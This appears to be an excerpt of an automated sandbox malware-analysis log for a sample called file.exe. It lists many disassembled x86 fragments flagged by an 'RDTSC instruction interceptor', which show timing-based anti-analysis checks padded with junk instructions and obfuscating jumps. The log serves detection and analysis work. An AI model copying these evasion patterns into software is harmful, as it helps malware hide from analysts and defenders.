Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DAB76 second address: 9DAB8D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8AE47DB013h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DAB8D second address: 9DABBE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AE4756605h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F8AE4756603h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DABBE second address: 9DABC8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F8AE47DB006h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DB691 second address: 9DB69C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DCBF1 second address: 9DCC03 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F8AE47DB00Ah 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DCC03 second address: 9DCC32 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AE47565FAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a nop 0x0000000b mov dword ptr [ebp+122D3652h], ecx 0x00000011 push 00000000h 0x00000013 add edi, 6A00D991h 0x00000019 push 00000000h 0x0000001b mov di, 5728h 0x0000001f push eax 0x00000020 push eax 0x00000021 push edx 0x00000022 jo 00007F8AE47565F8h 0x00000028 pushad 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DC9BC second address: 9DC9C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DC9C0 second address: 9DC9C6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DD358 second address: 9DD35C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DD35C second address: 9DD36F instructions: 0x00000000 rdtsc 0x00000002 js 00007F8AE47565F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DF04F second address: 9DF055 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DD36F second address: 9DD374 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DF055 second address: 9DF069 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 jnc 00007F8AE47DB006h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DF069 second address: 9DF073 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E01B3 second address: 9E01B9 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DF28F second address: 9DF293 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E2484 second address: 9E254E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AE47DB013h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jne 00007F8AE47DB01Bh 0x00000010 nop 0x00000011 jl 00007F8AE47DB006h 0x00000017 push 00000000h 0x00000019 push 00000000h 0x0000001b push edx 0x0000001c call 00007F8AE47DB008h 0x00000021 pop edx 0x00000022 mov dword ptr [esp+04h], edx 0x00000026 add dword ptr [esp+04h], 0000001Ch 0x0000002e inc edx 0x0000002f push edx 0x00000030 ret 0x00000031 pop edx 0x00000032 ret 0x00000033 mov edi, 39727493h 0x00000038 push 00000000h 0x0000003a push 00000000h 0x0000003c push esi 0x0000003d call 00007F8AE47DB008h 0x00000042 pop esi 0x00000043 mov dword ptr [esp+04h], esi 0x00000047 add dword ptr [esp+04h], 0000001Bh 0x0000004f inc esi 0x00000050 push esi 0x00000051 ret 0x00000052 pop esi 0x00000053 ret 0x00000054 call 00007F8AE47DB00Eh 0x00000059 jmp 00007F8AE47DB010h 0x0000005e pop edi 0x0000005f xchg eax, esi 0x00000060 pushad 0x00000061 jmp 00007F8AE47DB017h 0x00000066 push eax 0x00000067 push edx 0x00000068 ja 00007F8AE47DB006h 0x0000006e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E254E second address: 9E2552 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E36F8 second address: 9E3702 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E3702 second address: 9E3706 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E4914 second address: 9E4918 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E566A second address: 9E568D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AE4756605h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jno 00007F8AE47565F6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E4918 second address: 9E4921 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E37E4 second address: 9E37E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E37E8 second address: 9E3801 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007F8AE47DB00Ch 0x0000000c popad 0x0000000d push eax 0x0000000e push esi 0x0000000f push eax 0x00000010 push edx 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E65D2 second address: 9E65F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F8AE4756608h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E753A second address: 9E7540 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E6816 second address: 9E6827 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a jc 00007F8AE47565F6h 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E7540 second address: 9E7565 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F8AE47DB019h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E84BE second address: 9E84C8 instructions: 0x00000000 rdtsc 0x00000002 je 00007F8AE47565F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E84C8 second address: 9E855D instructions: 0x00000000 rdtsc 0x00000002 jne 00007F8AE47DB008h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push eax 0x00000010 call 00007F8AE47DB008h 0x00000015 pop eax 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a add dword ptr [esp+04h], 0000001Ch 0x00000022 inc eax 0x00000023 push eax 0x00000024 ret 0x00000025 pop eax 0x00000026 ret 0x00000027 jo 00007F8AE47DB00Ch 0x0000002d mov dword ptr [ebp+122D2BB1h], ebx 0x00000033 push 00000000h 0x00000035 push 00000000h 0x00000037 push ebx 0x00000038 call 00007F8AE47DB008h 0x0000003d pop ebx 0x0000003e mov dword ptr [esp+04h], ebx 0x00000042 add dword ptr [esp+04h], 00000016h 0x0000004a inc ebx 0x0000004b push ebx 0x0000004c ret 0x0000004d pop ebx 0x0000004e ret 0x0000004f mov bx, cx 0x00000052 push 00000000h 0x00000054 push 00000000h 0x00000056 push edx 0x00000057 call 00007F8AE47DB008h 0x0000005c pop edx 0x0000005d mov dword ptr [esp+04h], edx 0x00000061 add dword ptr [esp+04h], 0000001Ah 0x00000069 inc edx 0x0000006a push edx 0x0000006b ret 0x0000006c pop edx 0x0000006d ret 0x0000006e push eax 0x0000006f push eax 0x00000070 push edx 0x00000071 jne 00007F8AE47DB00Ch 0x00000077 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E955F second address: 9E9564 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E776F second address: 9E7773 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EA464 second address: 9EA469 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EA469 second address: 9EA485 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F8AE47DB00Fh 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f pushad 0x00000010 popad 0x00000011 pop ebx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EA485 second address: 9EA4F9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jmp 00007F8AE4756607h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push edx 0x00000011 call 00007F8AE47565F8h 0x00000016 pop edx 0x00000017 mov dword ptr [esp+04h], edx 0x0000001b add dword ptr [esp+04h], 00000014h 0x00000023 inc edx 0x00000024 push edx 0x00000025 ret 0x00000026 pop edx 0x00000027 ret 0x00000028 mov di, dx 0x0000002b sub dword ptr [ebp+1244D726h], eax 0x00000031 push 00000000h 0x00000033 mov bx, si 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a push eax 0x0000003b call 00007F8AE47565F8h 0x00000040 pop eax 0x00000041 mov dword ptr [esp+04h], eax 0x00000045 add dword ptr [esp+04h], 0000001Bh 0x0000004d inc eax 0x0000004e push eax 0x0000004f ret 0x00000050 pop eax 0x00000051 ret 0x00000052 push eax 0x00000053 pushad 0x00000054 push ebx 0x00000055 push eax 0x00000056 push edx 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EA4F9 second address: 9EA501 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E86BF second address: 9E86C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E86C4 second address: 9E86C9 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9ED3C6 second address: 9ED3CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EC6D6 second address: 9EC6E7 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F8AE47DB006h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EC6E7 second address: 9EC6EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EE43B second address: 9EE43F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EE43F second address: 9EE4B0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AE4756604h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a nop 0x0000000b movzx edi, cx 0x0000000e push 00000000h 0x00000010 pushad 0x00000011 mov eax, dword ptr [ebp+122D2B4Ah] 0x00000017 mov dword ptr [ebp+122D30F7h], ecx 0x0000001d popad 0x0000001e and ebx, dword ptr [ebp+122D3834h] 0x00000024 push 00000000h 0x00000026 mov dword ptr [ebp+122D30E6h], eax 0x0000002c xchg eax, esi 0x0000002d pushad 0x0000002e jmp 00007F8AE4756607h 0x00000033 pushad 0x00000034 push ebx 0x00000035 pop ebx 0x00000036 jmp 00007F8AE47565FEh 0x0000003b popad 0x0000003c popad 0x0000003d push eax 0x0000003e push edi 0x0000003f push eax 0x00000040 push edx 0x00000041 jp 00007F8AE47565F6h 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9ED669 second address: 9ED66F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9ED66F second address: 9ED673 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EE670 second address: 9EE67A instructions: 0x00000000 rdtsc 0x00000002 jo 00007F8AE47DB006h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F5396 second address: 9F539C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F539C second address: 9F53A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F53A0 second address: 9F53A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F53A4 second address: 9F53BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 jnp 00007F8AE47DB024h 0x0000000d push eax 0x0000000e push edx 0x0000000f push edx 0x00000010 pop edx 0x00000011 ja 00007F8AE47DB006h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F53BB second address: 9F53C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F551C second address: 9F5532 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AE47DB00Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jg 00007F8AE47DB00Eh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F992E second address: 9F9932 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F9932 second address: 9F993C instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F8AE47DB006h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FC67A second address: 9FC67E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FC67E second address: 9FC684 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FC684 second address: 9FC6A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F8AE4756603h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FC6A2 second address: 9FC6D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a jl 00007F8AE47DB025h 0x00000010 jmp 00007F8AE47DB019h 0x00000015 ja 00007F8AE47DB006h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FC6D1 second address: 9FC6D6 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FDCFC second address: 9FDD26 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F8AE47DB006h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 jmp 00007F8AE47DB018h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FDD26 second address: 9FDD3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F8AE4756604h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 999373 second address: 999379 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 999379 second address: 999398 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 jmp 00007F8AE4756602h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 999398 second address: 9993AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 jmp 00007F8AE47DB00Bh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9993AA second address: 9993B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9993B0 second address: 9993B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A02D1D second address: A02D21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A02D21 second address: A02D2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A01ADE second address: A01AE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9887FB second address: 9887FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A02249 second address: A02286 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AE4756607h 0x00000007 jc 00007F8AE47565F6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F8AE4756605h 0x00000019 push esi 0x0000001a pop esi 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A02286 second address: A0228A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0228A second address: A02290 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A02290 second address: A02296 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A023E5 second address: A0240A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8AE4756608h 0x00000009 popad 0x0000000a jo 00007F8AE4756602h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0240A second address: A02410 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A02410 second address: A02434 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F8AE47565FEh 0x0000000a pushad 0x0000000b jmp 00007F8AE47565FDh 0x00000010 push eax 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0259F second address: A025A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A02893 second address: A02898 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A029FC second address: A02A00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A02A00 second address: A02A04 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A02A04 second address: A02A0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A02A0A second address: A02A14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A02A14 second address: A02A1A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A02A1A second address: A02A3B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AE47565FFh 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F8AE47565FEh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A02A3B second address: A02A3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A02A3F second address: A02A50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jnp 00007F8AE4756602h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D38D0 second address: 9D38EC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F8AE47DB011h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D38EC second address: 9D38F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
